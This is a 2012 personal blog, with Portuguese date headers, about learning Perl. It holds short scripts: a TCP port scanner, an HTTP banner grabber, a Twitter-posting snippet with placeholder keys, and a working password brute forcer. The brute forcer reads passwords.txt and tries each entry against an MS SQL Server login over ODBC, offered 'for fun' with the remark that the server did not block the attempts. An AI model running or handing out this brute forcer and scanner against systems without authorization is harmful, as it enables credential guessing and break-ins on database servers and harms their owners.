quarta-feira, 19 de dezembro de 2012

Yes, I'm really impressed with how it is easy

To program with Perl... i might even check their most known framework, catalyst.
#!/usr/bin/perl -w
#lamescan.pl
use strict;
use warnings;
use IO::Socket;

my $target;
if ( @ARGV == 0 ) {
    print "Usage $0 [ip]\n";
    exit;
}
else {
    $target = $ARGV[0];
}

my @ports=(80,443,22,21);
foreach (@ports)
{
  
  print "\nTrying port ".$_;
  my $connect = IO::Socket::INET->new(
                    Proto    => "tcp",
                    PeerAddr => $target,
                    PeerPort => $_,
     Timeout  => .60,
                );
                 
 if(defined($connect))
 {
  print ">>>>>>>>port ".$_." is open";
 }
 else
 {
  print "... nope";
 }
  
}

Perl Get HTTP Banner

the old days...
#!/usr/bin/perl -w

use strict;
use warnings;
use IO::Socket;

my $target;
my $port=80;
if ( @ARGV == 0 ) {
    print "Usage $0 [ip]\n";
    exit;
}
else {
    $target = $ARGV[0];
}

 
     
        my $remote2 = IO::Socket::INET->new(
                    Proto    => "tcp",
                    PeerAddr => $target,
                    PeerPort => $port,
                )
                or die "cannot connect to port $port  at $target";
    
    print "HEAD\n";
  print "============\n";
       print $remote2 "HEAD \n";
        while ( <$remote2> ) 
  { 
           print $_;
            
        }
  print "END OF HEAD\n";

        close $remote2;

segunda-feira, 17 de dezembro de 2012

Number of lines to post a twit with Perl

this many:
#!/usr/bin/perl
 
use Net::Twitter; 
 
    my $nt = Net::Twitter->new(
        traits        => [qw/OAuth API::REST/],
        consumer_key        => 'xxxx', 
        consumer_secret     => 'xxxx',
        access_token        => 'xxxx',
        access_token_secret => 'xxxx',
    );
  
  my $result = $nt->update("uh");
 

sexta-feira, 14 de dezembro de 2012

Perl brute force for fun

Never really programmed in perl, but this afternoon i had lots of fun learning it and doing a small brute force vs ms sql. I was expecting sql server would block this fast attemps to the database, it does not.

Comparing to .net, this is way funnier and faster to code.

Improving code sounds a fun thing to do as well, since there's a lot to improve!

Obviously there are tons of code that do this and in a much better way, but this was for fun only.

#!/usr/bin/perl -w
use strict;
use warnings;
use DBI;
 

 my $odbcdriver=""; # your odbc driver has to be installed on the client machine
 my $dbuser="";     # ms sql default is sa, try other username  if you want 
 
if ( $#ARGV <1 )
{
 print "\nUSAGE 1: perl brut.pl _ODBCDRIVER_ _user_ \n";
 die("");
}
else
{
 $odbcdriver=$ARGV[0];
 $dbuser=$ARGV[1];

}
my $data_source="dbi:ODBC:".$odbcdriver;
 my $dbh;
 my $pwd;
open(my $in, "<", "passwords.txt")     or die "Can't open passwords.txt: $!";
while ( <$in>) {
   chomp($_);
   $dbh = DBI->connect($data_source, $dbuser,  $_);
  if($dbh)
  {
   
   print "=>".$_;
   print ("=>SUCCESS!\n");
   $dbh->disconnect;
   die("... boink...");
  }
  else
  {
   print "=>".$_;
   print("=>NO FUN!\n");
  }
 }
 

... and now for something totally different

I'm doing PL/SQL and SAP BO... tired of this shit of bouncing between technologies within weeks.
That said i've been playing with Perl and MS SQL and i'll post soon something for fun.